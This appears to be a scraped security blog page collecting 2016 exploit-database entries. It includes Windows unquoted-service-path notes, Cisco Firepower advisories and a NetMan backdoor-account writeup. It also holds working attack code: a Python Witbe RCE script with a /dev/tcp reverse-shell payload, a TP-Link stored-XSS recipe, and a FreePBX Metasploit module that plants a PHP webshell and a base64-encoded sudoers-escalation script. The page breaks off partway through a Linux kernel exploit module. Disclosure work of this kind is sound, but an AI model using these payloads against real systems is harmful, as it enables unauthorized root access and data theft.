# Exploit Title: Abyss Web Server X1 2.11.1 Multiple Local Privilege Escalation
# Date: 05/10/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Author twitter: @tulpa_security
# Vendor Homepage: http://aprelium.com/
# Application Download: http://aprelium.com/abyssws/download.php
# Version: Software Version 2.11.1
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec
1. Description:
Abyss Web Server installs a service called 'AbyssWebServer' with an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system. Abyss Web Server also suffers from weak file and folder permissions which could allow
an unauthorized user to swop out executable files with their own payload.
2. Proof
C:\Program Files>sc qc AbyssWebServer
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: AbyssWebServer
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Abyss Web Server\abyssws.exe --service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Abyss Web Server
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
3. Exploit:
A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863130492
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Fortitude HTTP 1.0.4.0 Unquoted Service Path Elevation of Privilege
# Date: 05/10/2016
# Exploit Author: Tulpa
# Contact: tulpa@tulpa-security.com
# Author website: www.tulpa-security.com
# Author twitter: @tulpa_security
# Vendor Homepage: http://www.networkdls.com/
# Software Link: http://www.networkdls.com/Software/View/Fortitude_HTTP
# Version: Software Version 1.0.4.0
# Tested on: Windows 7 x86
# Shout-out to carbonated and ozzie_offsec
1. Description:
Netgear Genie installs a service called 'Fortitude HTTP' with an unquoted service path
running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.
2. Proof
C:\Program Files>sc qc "Fortitude HTTP"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Fortitude HTTP
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\NetworkDLS\Fortitude HTTP\Bin
\FortitudeSvc.exe /RunService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : NetworkDLS Fortitude HTTP
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
3. Exploit:
A successful attempt would require the local user to be able to insert their
code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
#!/usr/bin/python
# Exploit Title: Witbe RCE (Remote Code Execution)
# Exploit Author: BeLmar
# Date: 05/10/2016
# DEMO : https://youtu.be/ooUFXfUfIs0
# Contact : hb.mz093@gmail.com
# Vendor Homepage: http://www.witbe.net
# Tested on: Windows7/10 & BackBox
# Category: Remote Exploits
import urllib
import urllib2
import os
print " M MW M M XXMMrX, 2Mr72S MW7XS"
print " MM MM M2 M SM MM MM M "
print " M M ZM M M XM MMir0M MMrXS"
print " MM M M M: M SM MM ZM M2 "
print " MMa MMM M ZM MM XM M "
print " XM M M iM 8MZ8W8 MM8BB"
print " EXPLOIT BY BELMAR "
print ""
print "Run NetCat Listner" # First Run Netcat Listner
rhost = raw_input('RHOST: ')
lhost = raw_input('LHOST: ')
lport = raw_input('LPORT: ')
url = 'http://'+rhost+'/cgi-bin/applyConfig.pl'
user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36'
values = {'auth_login': '', #Leave it as it is
'auth_pwd': '', #Leave it as it is
'file': 'set|bash -i >& /dev/tcp/'+lhost+'/'+lport+' 0>&1' }
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
the_page = response.read()
KL-001-2016-007 : Cisco Firepower Threat Management Console Remote Command
Execution Leading to Root Access
Title: Cisco Firepower Threat Management Console Remote Command Execution
Leading to Root Access
Advisory ID: KL-001-2016-007
Publication Date: 2016.10.05
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-007.txt
1. Vulnerability Details
Affected Vendor: Cisco
Affected Product: Firepower Threat Management Console
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
Platform: Embedded Linux
CWE Classification: CWE-434: Unrestricted Upload of File with Dangerous
Type, CWE-94: Improper Control of Generation of Code
Impact: Arbitrary Code Execution
Attack vector: HTTP
CVE-ID: CVE-2016-6433
2. Vulnerability Description
An authenticated user can run arbitrary system commands as
the www user which leads to root.
3. Technical Description
A valid session and CSRF token is required. The webserver runs as
a non-root user which is permitted to sudo commands as root with
no password.
POST /DetectionPolicy/rules/rulesimport.cgi?no_mojo=1 HTTP/1.1
Host: 1.3.3.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Cookie: CGISESSID=4919a7838198009bba48f6233d0bd1c6
Connection: close
Content-Type: multipart/form-data;
boundary=---------------------------15519792567789791301241925798
Content-Length: 813
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name="manual_update"
1
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name="source"
file
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name="file";
filename="Sourcefire_Rule_Update-2016-03-04-001-vrt.sh"
Content-Type: application/octet-stream
sudo useradd -G ldapgroup -p `openssl passwd -1 korelogic` korelogic
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name="action_submit"
Import
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name="sf_action_id"
8c6059ae8dbedc089877b16b7be2ae7f
-----------------------------15519792567789791301241925798--
HTTP/1.1 200 OK
Date: Sat, 23 Apr 2016 13:38:01 GMT
Server: Apache
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 49998
Connection: close
Content-Type: text/html; charset=utf-8
...
$ ssh korelogic@1.3.3.7
Password:
Copyright 2004-2016, Cisco and/or its affiliates. All rights reserved.
Cisco is a registered trademark of Cisco Systems, Inc.
All other trademarks are property of their respective owners.
Cisco Fire Linux OS v6.0.1 (build 37)
Cisco Firepower Management Center for VMWare v6.0.1 (build 1213)
Could not chdir to home directory /Volume/home/korelogic: No such file or
directory
korelogic@firepower:/$ sudo su -
Password:
root@firepower:~#
4. Mitigation and Remediation Recommendation
The vendor has acknowledged this vulnerability but has
not issued a fix. Vendor acknowledgement available at:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel) of
KoreLogic, Inc.
6. Disclosure Timeline
2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.
2016.06.30 - Cisco acknowledges receipt of vulnerability report.
2016.07.20 - KoreLogic and Cisco discuss remediation timeline for
this vulnerability and for 3 others reported in the
same product.
2016.08.12 - 30 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.02 - 45 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.09 - KoreLogic asks for an update on the status of the
remediation efforts.
2016.09.15 - Cisco confirms remediation is underway and soon to be
completed.
2016.09.28 - Cisco informs KoreLogic that the acknowledgement details
will be released publicly on 2016.10.05.
2016.10.05 - Public disclosure.
7. Proof of Concept
See Technical Description
The contents of this advisory are copyright(c) 2016
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
KL-001-2016-006 : Cisco Firepower Threat Management Console Local File Inclusion
Title: Cisco Firepower Threat Management Console Local File Inclusion
Advisory ID: KL-001-2016-006
Publication Date: 2016.10.05
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-006.txt
1. Vulnerability Details
Affected Vendor: Cisco
Affected Product: Firepower Threat Management Console
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
Platform: Embedded Linux
CWE Classification: CWE-73: External Control of File Name or Path
Impact: Information Disclosure
Attack vector: HTTP
CVE-ID: CVE-2016-6435
2. Vulnerability Description
An authenticated user can access arbitrary files on the local system.
3. Technical Description
Requests that take a file path do not properly filter what files can
be requested. The webserver does not run as root, so files such as
/etc/shadow are not readable.
GET /events/reports/view.cgi?download=1&files=../../../etc/passwd%00 HTTP/1.1
Host: 1.3.3.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Cookie: CGISESSID=2ee7e6f19a104f4453e201f26fdbd6f3
Connection: close
HTTP/1.1 200 OK
Date: Fri, 22 Apr 2016 23:58:41 GMT
Server: Apache
Content-Disposition: attachment; filename=passwd
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/octet-stream
Content-Length: 623
root:x:0:0:Operator:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
mysql:x:27:27:MySQL:/var/lib/mysql:/sbin/nologin
nobody:x:99:99:nobody:/:/sbin/nologin
sshd:x:33:33:sshd:/:/sbin/nologin
www:x:67:67:HTTP server:/var/www:/sbin/nologin
sfrna:x:88:88:SF RNA User:/Volume/home/sfrna:/sbin/nologin
snorty:x:90:90:Snorty User:/Volume/home/snorty:/sbin/nologin
sfsnort:x:95:95:SF Snort User:/Volume/home/sfsnort:/sbin/nologin
sfremediation:x:103:103::/Volume/home/remediations:/sbin/nologin
admin:x:100:100::/Volume/home/admin:/bin/sh
casuser:x:101:104:CiscoUser:/var/opt/CSCOpx:/bin/bash
4. Mitigation and Remediation Recommendation
The vendor has issued a patch for this vulnerability
in version 6.1. Vendor acknowledgement available at:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc2
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.
2016.06.30 - Cisco acknowledges receipt of vulnerability report.
2016.07.20 - KoreLogic and Cisco discuss remediation timeline for
this vulnerability and for 3 others reported in the
same product.
2016.08.12 - 30 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.02 - 45 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.09 - KoreLogic asks for an update on the status of the
remediation efforts.
2016.09.15 - Cisco confirms remediation is underway and soon to be
completed.
2016.09.28 - Cisco informs KoreLogic that the remediation details will
be released publicly on 2016.10.05.
2016.10.05 - Public disclosure.
7. Proof of Concept
See Technical Description
The contents of this advisory are copyright(c) 2016
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
KL-001-2016-005 : Cisco Firepower Threat Management Console Hard-coded MySQL
Credentials
Title: Cisco Firepower Threat Management Console Hard-coded MySQL Credentials
Advisory ID: KL-001-2016-005
Publication Date: 2016.10.05
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-005.txt
1. Vulnerability Details
Affected Vendor: Cisco
Affected Product: Firepower Threat Management Console
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
Platform: Embedded Linux
CWE Classification: CWE-798: Use of Hard-coded Credentials
Impact: Authentication Bypass
CVE-ID: CVE-2016-6434
2. Vulnerability Description
The root account for the local MySQL database has poor password
complexity.
3. Technical Description
root@firepower:/Volume/6.0.1# mysql -u root --password=admin
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 23348
Server version: 5.6.24-enterprise-commercial-advanced-log MySQL Enterprise
Server - Advanced Edition (Commercial)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Sourcefire |
| external_data |
| external_schema |
| mysql |
| performance_schema |
| sfsnort |
+--------------------+
7 rows in set (0.00 sec)
mysql>
Note that mysqld listens only on loopback, so a remote attacker
would have to leverage some other condition to be able to reach
the mysql daemon.
4. Mitigation and Remediation Recommendation
The vendor has acknowledged this vulnerability
but has not released a fix for the
issue. Vendor acknowledgement available at:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc1
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.
2016.06.30 - Cisco acknowledges receipt of vulnerability report.
2016.07.20 - KoreLogic and Cisco discuss remediation timeline for
this vulnerability and for 3 others reported in the
same product.
2016.08.12 - 30 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.02 - 45 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.09 - KoreLogic asks for an update on the status of the
remediation efforts.
2016.09.15 - Cisco confirms remediation is underway and soon to be
completed.
2016.09.28 - Cisco informs KoreLogic that the acknowledgement details
will be released publicly on 2016.10.05.
2016.10.05 - Public disclosure.
7. Proof of Concept
See Technical Description
The contents of this advisory are copyright(c) 2016
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
NetMan 204 - Backdoor Account
Author: Saeed reza Zamanian [penetrationtest @ Linkedin]
Product: NetMan 204
Vendor: http://www.riello-ups.com
Product URL: http://www.riello-ups.com/products/4-software-connectivity/85-netman-204
Quick Reference Installation Manual : http://www.riello-ups.com/uploads/file/325/1325/0MNACCSA4ENQB__MAN_ACC_NETMAN_204_QST_EN_.pdf
Date: 23 Sep 2016
About Product:
----------------------
The NetMan 204 network agent allows UPS directly connected over LAN 10/100 Mb connections to be managed using the main network communication protocols (TCP /IP , HTTP HTTPS, SSH, SNMPv1, SNMPv2 and SNMPv3).
It is the ideal solution for the integration of UPS over Ethernet networks with Modbus/TCP and BACnet/IP protocols. It was developed to integrate UPS into medium-sized and large networks,
to provide a high level of reliability in communication between the UPS and associated management systems.
Vulnerability Report:
----------------------
The UPS Module has 3 default accounts, (admin,fwupgrade,user) , fwupgrade has a shell access to the device BUT if you try to get access to the shell a shell script closes your conection.
to stop the shell script and avoid to terminate your connection you should , set your SSH client to execute "/bin/bash" after you logon the SSH. as a result your shell type will be changed to "/bin/bash"
as you see below there is an account called "eurek" and ofcourse it's password also is "eurek".
Since that "eurek" is a sudoer user you will get full access to the device.
Enjoy It!
login as: eurek
eurek@172.19.16.33's password:
Could not chdir to home directory /home/eurek: No such file or directory
eurek@UPS:/$ id
uid=1000(eurek) gid=1000(eurek) groups=1000(eurek),27(sudo)
eurek@UPS:/$ sudo bash
[sudo] password for eurek:
root@UPS:/# id
uid=0(root) gid=0(root) groups=0(root)
root@UPS:/#
login as: fwupgrade
fwupgrade@172.19.16.33's password:
fwupgrade@UPS:/home/fwupgrade$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
messagebus:x:102:104::/var/run/dbus:/bin/false
eurek:x:1000:1000:eurek,,,:/home/eurek:/bin/bash
postfix:x:103:106::/var/spool/postfix:/bin/false
statd:x:104:65534::/var/lib/nfs:/bin/false
pulse:x:105:110:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:106:112:RealtimeKit,,,:/proc:/bin/false
admin:x:1001:1001:,,,:/home/./admin:/bin/bash
fwupgrade:x:1002:1002:,,,:/home/./fwupgrade:/bin/bash
user:x:1003:1003:,,,:/home/user:/bin/bash
ftp:x:107:113:ftp daemon,,,:/srv/ftp:/bin/false
fwupgrade@UPS:/home/fwupgrade$
# EOF
# Exploit Title: TP-Link Archer CR-700 XSS vulnerability
# Google Dork: N/A
# Date: 09/07/2016
# Exploit Author: Ayushman Dutta
# Vendor Homepage: http://www.tp-link.us/
# Software Link: N/A
# Version: 1.0.6 (REQUIRED)
# Tested on: Linux
# CVE : N/A
#Exploit Information:
https://github.com/ayushman4/TP-Link-Archer-CR-700-XSS-Exploit/blob/master/README.md
TP-Link-Archer-CR-700-XSS-Exploit
Exploiting TP-Link Archer CR-700 Router. (Responsibly Disclosed to TP-Link)
Step 1-> On you linux machine (Kali or Ubuntu) type the following command
gedit /etc/dhcp/dhclient.conf
Comment out the line below
send host-name = gethostname();
Copy it to the line below it and change the gethostname() function to an XSS script like below.
send host-name = "<script>alert(5)</script>";
Step 2:Restart your linux system so that the changes takes into effect.
Step 3: Send a DHCP request to the router to receive an IP address with the command below.(Try this on any open network routers which is using TP-Link Archer CR-700)
dhclient -v -i wlan0
On running the command above, it send a DHCP request to the router. On a DHCP request, the host name is sent to which we have forcibly set it to an XSS script <script>alert(5)</script>
Step 4: Login to the administrator console.
On logging in the Script executes.
One more issue that I saw in the router that was that there was no CSRF token. The cookie set by the router contains a base64 encoded username & password whcih can be stolen using an XSS script.
Note:All The above information has been disclosed to TP-Link, who have reporduced the problem and passed it to their R&D team to fix the issue.
A URL to the product https://www.amazon.com/Wireless-Certified-Cablevision-Archer-CR700/dp/B012I96J3W
#Title : Freepbx < 13.0.188 , Remote root exploit
#Vulnerable software : Freepbx < 13.0.188
#Author : Ahmed Sultan (0x4148)
#Email : 0x4148@gmail.com
#Current software status : patch released
#Vendor : Sangoma <freepbx.org>
=begin
Freepbx 13.x are vulnerable to Remote command execution due to the insuffecient sanitization of the user input fields language,destination and also due to the lack of good authentication checking
Technical details
Vulnerable file : admin/modules/hotelwakeup/Hotelwakeup.class.php
Line 102 :
public function generateCallFile($foo) {
...............................
if (empty($foo['filename'])) {
$foo['filename'] = "wuc.".$foo['time'].".ext.".$foo['ext'].".call"; <<<<<---------------------Vulnerable
}
...........................
// Delete any old .call file with the same name as the one we are creating.
if(file_exists($outfile) ) {
unlink($outfile);
}
// Create up a .call file, write and close
$wuc = fopen($tempfile, 'w');
fputs( $wuc, "channel: Local/".$foo['ext']."@originate-skipvm\n" );
fputs( $wuc, "maxretries: ".$foo['maxretries']."\n");
fputs( $wuc, "retrytime: ".$foo['retrytime']."\n");
fputs( $wuc, "waittime: ".$foo['waittime']."\n");
fputs( $wuc, "callerid: ".$foo['callerid']."\n");
fputs( $wuc, 'set: CHANNEL(language)='.$foo['language']."\n"); <<<<<---------------------Vulnerable
fputs( $wuc, "application: ".$foo['application']."\n");
fputs( $wuc, "data: ".$foo['data']."\n");
fclose( $wuc );
..........................
The ext value can be manipulated by the attacker to change the output file path
the language value can be manipulated by the attacket to load in malicious contents
Function is called at
Line 94 :
public function addWakeup($destination, $time, $lang) {
$date = $this->getConfig(); // module config provided by user
$this->generateCallFile(array(
"time" => $time,
"date" => 'unused',
"ext" => $destination, <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<================ Vulnerable [Filename field]
"language" => $lang, <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<================ Vulnerable [language field loaded with malicious code]
"maxretries" => $date['maxretries'],
"retrytime" => $date['retrytime'],
"waittime" => $date['waittime'],
"callerid" => $date['cnam']." <".$date['cid'].">",
"application" => 'AGI',
"data" => 'wakeconfirm.php',
));
}
addWakeup function is called when calling the hotelwakeup module via ajax.php and setting savecall as command
Line 60 :
switch($_REQUEST['command']) {
case "savecall":
if(empty($_POST['language'])) {
$lang = 'en'; //default to English if empty
} else {
$lang = $_POST['language']; <<<<<<<<<<<<<<<<<<<===========================
}
............................................
if ($badtime) {
// abandon .call file creation and pop up a js alert to the user
return array("status" => false, "message" => sprintf(_("Cannot schedule the call the scheduled time is in the past. [Time now: %s] [Wakeup Time: %s]"),date(DATE_RFC2822,$time_now),date(DATE_RFC2822,$time_wakeup)));
} else {
$this->addWakeup($_POST['destination'],$time_wakeup,$lang); <<<<<<<<<<<=======================
return array("status" => true);
}
.................................
POC :
[0x4148:/lab]# curl "http://68.170.92.50:8080/admin/ajax.php" -H "Host: 68.170.92.50:8080" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: en-US,en;q=0.5" --compressed -H "Referer: http://68.170.92.50:8080/admin/ajax.php" -H "Cookie: lang=en_US; PHPSESSID=9sfgl5leajk74buajm0re2i014" -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" --data "module=hotelwakeup&command=savecall&day=now&time="%"2B1 week&destination=/../../../../../../var/www/html/0x4148.php&language=<?php system('uname -a;id');?>"
{"error":{"type":"Whoops\\Exception\\ErrorException","message":"touch(): Unable to create file \/var\/spool\/asterisk\/tmp\/wuc.1475613328.ext.\/..\/..\/..\/..\/..\/..\/var\/www\/html\/0x4148.php.call because No such file or directory","file":"\/var\/www\/html\/admin\/modules\/hotelwakeup\/Hotelwakeup.class.php","line":238}}#
The error mean nothing , we still can get our malicious file via http://server:port/0x4148.php.call
the server will ignore.call extn and will execute the php
[0x4148:/lab]# curl "http://68.170.92.50:8080/0x4148.php.call"
channel: Local//../../../../../../var/www/html/0x4148.php@originate-skipvm
maxretries: 3
retrytime: 60
waittime: 60
callerid: Wake Up Calls <*68>
set: CHANNEL(language)=Linux HOUPBX 2.6.32-504.8.1.el6.x86_64 #1 SMP Wed Jan 28 21:11:36 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
uid=499(asterisk) gid=498(asterisk) groups=498(asterisk)
application: AGI
data: wakeconfirm.php
Privelage can be escalated via adding the asterisk user to sudoers which can be done manually
then echo a > /var/spool/asterisk/sysadmin/amportal_restart
sleeping for few seconds
then sudo bash -i
MSF OUTPUT
msf > use exploit/fpbx
msf exploit(fpbx) > set RHOST 68.170.92.50
RHOST => 68.170.92.50
msf exploit(fpbx) > set RPORT 8080
RPORT => 8080
msf exploit(fpbx) > exploit
[*] [2016.09.27-16:39:21] Started reverse TCP handler on 88.150.231.125:443
[*] [2016.09.27-16:39:21] 68.170.92.50:8080 - Sending payload . . .
[*] [2016.09.27-16:39:21] 68.170.92.50:8080 - Trying to execute payload
[+] [2016.09.27-16:39:41] 68.170.92.50:8080 - Payload executed
[*] [2016.09.27-16:39:41] 68.170.92.50:8080 - Spawning root shell <taking around 20 seconds in case of success>
id
uid=0(root) gid=0(root) groups=0(root)
sh -i
sh: no job control in this shell
sh-4.1# pwd
pwd
/var/www/html
sh-4.1# whoami
whoami
root
sh-4.1#
=end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'FreePBX < 13.0.188.1 Remote root exploit',
'Description' => '
This module exploits an unauthenticated remote command execution in FreePBX module Hotelwakeup
',
'License' => MSF_LICENSE,
'Author' =>
[
'Ahmed sultan (0x4148) <0x4148@gmail.com>', # discovery of vulnerability and msf module
],
'References' =>
[
"NA"
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl telnet python'
}
},
'Platform' => %w(linux unix),
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'Privileged' => 'false',
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 27 2016'))
end
def print_status(msg = '')
super("#{rhost}:#{rport} - #{msg}")
end
def print_error(msg = '')
super("#{rhost}:#{rport} - #{msg}")
end
def print_good(msg = '')
super("#{rhost}:#{rport} - #{msg}")
end
# Application Check
def check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'headers' => {
'Referer' => "http://#{datastore['RHOST']}/jnk0x4148stuff"
},
'vars_post' => {
'module' => 'hotelwakeup',
'command' => 'savecall'
}
)
unless res
vprint_error('Connection timed out.')
end
if res.body.include? "Referrer"
vprint_good("Hotelwakeup module detected")
return Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
vprint_status('Sending payload . . .')
pwn = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),
'headers' => {
'Referer' => "http://#{datastore['RHOST']}:#{datastore['RPORT']}/admin/ajax.php?module=hotelwakeup&action=savecall",
'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
'User-agent' => "mostahter ;)"
},
'vars_post' => {
'module' => 'hotelwakeup',
'command' => 'savecall',
'day' => 'now',
'time' => '+1 week',
'destination' => '/../../../../../../var/www/html/0x4148.php',
'language' => '<?php echo "0x4148@r1z";if($_GET[\'r1zcmd\']!=\'\'){system("sudo ".$_GET[\'r1zcmd\']);}else{fwrite(fopen("0x4148.py","w+"),base64_decode("IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCmltcG9ydCBvcwppbXBvcnQgdGltZQojIC0qLSBjb2Rpbmc6IHV0Zi04IC0qLSAKY21kID0gJ3NlZCAtaSBcJ3MvQ29tIEluYy4vQ29tIEluYy5cXG5lY2hvICJhc3RlcmlzayBBTEw9XChBTExcKVwgICcgXAoJJ05PUEFTU1dEXDpBTEwiXD5cPlwvZXRjXC9zdWRvZXJzL2dcJyAvdmFyL2xpYi8nIFwKCSdhc3Rlcmlzay9iaW4vZnJlZXBieF9lbmdpbmUnCm9zLnN5c3RlbShjbWQpCm9zLnN5c3RlbSgnZWNobyBhID4gL3Zhci9zcG9vbC9hc3Rlcmlzay9zeXNhZG1pbi9hbXBvcnRhbF9yZXN0YXJ0JykKdGltZS5zbGVlcCgyMCk="));system("python 0x4148.py");}?>',
}
)
#vprint_status("#{pwn}")
vprint_status('Trying to execute payload <taking around 20 seconds in case of success>')
escalate = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '0x4148.php.call'),
'vars_get' => {
'0x4148' => "r1z"
}
)
if escalate.body.include? "0x4148@r1z"
vprint_good("Payload executed")
vprint_status("Spawning root shell")
killit = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '0x4148.php.call'),
'vars_get' => {
'r1zcmd' => "#{payload.encoded}"
}
)
else
vprint_error("Exploitation Failed")
end
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation',
'Description' => %q{
This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently
